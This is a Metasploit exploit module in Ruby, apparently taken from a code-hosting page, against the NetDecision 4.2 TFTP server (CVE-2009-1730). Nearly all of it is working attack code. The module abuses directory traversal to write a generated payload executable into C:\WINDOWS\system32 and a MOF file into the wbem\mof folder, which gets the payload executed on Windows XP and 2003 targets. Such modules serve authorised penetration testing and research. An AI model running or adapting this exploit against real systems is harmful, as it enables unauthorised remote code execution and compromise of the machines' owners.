105 lines
3.3 KiB
Ruby
105 lines
3.3 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Rex::Proto::TFTP
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include Msf::Exploit::EXE
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include Msf::Exploit::WbemExec
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def initialize(info={})
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super(update_info(info,
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'Name' => "NetDecision 4.2 TFTP Writable Directory Traversal Execution",
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'Description' => %q{
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This module exploits a vulnerability found in NetDecision 4.2 TFTP server. The
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software contains a directory traversal vulnerability that allows a remote attacker
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to write arbitrary file to the file system, which results in code execution under
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the context of user executing the TFTP Server.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Rob Kraus', # Vulnerability discovery
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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['CVE', '2009-1730'],
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['OSVDB', '54607'],
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['BID', '35002']
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],
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'Payload' =>
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{
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'BadChars' => "\x00",
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},
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'DefaultOptions' =>
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{
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'ExitFunction' => "none"
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['NetDecision 4.2 TFTP on Windows XP SP3 / Windows 2003 SP2', {}]
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],
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'Privileged' => false,
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'DisclosureDate' => "May 16 2009",
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'DefaultTarget' => 0))
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register_options([
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OptInt.new('DEPTH', [false, "Levels to reach base directory",1]),
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OptAddress.new('RHOST', [true, "The remote TFTP server address"]),
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OptPort.new('RPORT', [true, "The remote TFTP server port", 69])
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], self.class)
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end
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def upload(filename, data)
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tftp_client = Rex::Proto::TFTP::Client.new(
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"LocalHost" => "0.0.0.0",
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"LocalPort" => 1025 + rand(0xffff-1025),
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"PeerHost" => datastore['RHOST'],
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"PeerPort" => datastore['RPORT'],
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"LocalFile" => "DATA:#{data}",
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"RemoteFile" => filename,
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"Mode" => "octet",
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"Context" => {'Msf' => self.framework, "MsfExploit" => self },
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"Action" => :upload
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)
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ret = tftp_client.send_write_request { |msg| print_status(msg) }
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while not tftp_client.complete
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select(nil, nil, nil, 1)
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tftp_client.stop
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end
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end
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def exploit
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peer = "#{datastore['RHOST']}:#{datastore['RPORT']}"
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# Setup the necessary files to do the wbemexec trick
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exe_name = rand_text_alpha(rand(10)+5) + '.exe'
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exe = generate_payload_exe
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mof_name = rand_text_alpha(rand(10)+5) + '.mof'
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mof = generate_mof(mof_name, exe_name)
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# Configure how deep we want to traverse
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depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
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levels = "../" * depth
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# Upload the malicious executable to C:\Windows\System32\
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print_status("#{peer} - Uploading executable (#{exe.length.to_s} bytes)")
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upload("#{levels}WINDOWS\\system32\\#{exe_name}", exe)
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# Let the TFTP server idle a bit before sending another file
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select(nil, nil, nil, 1)
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# Upload the mof file
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print_status("#{peer} - Uploading .mof...")
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upload("#{levels}WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
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end
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end
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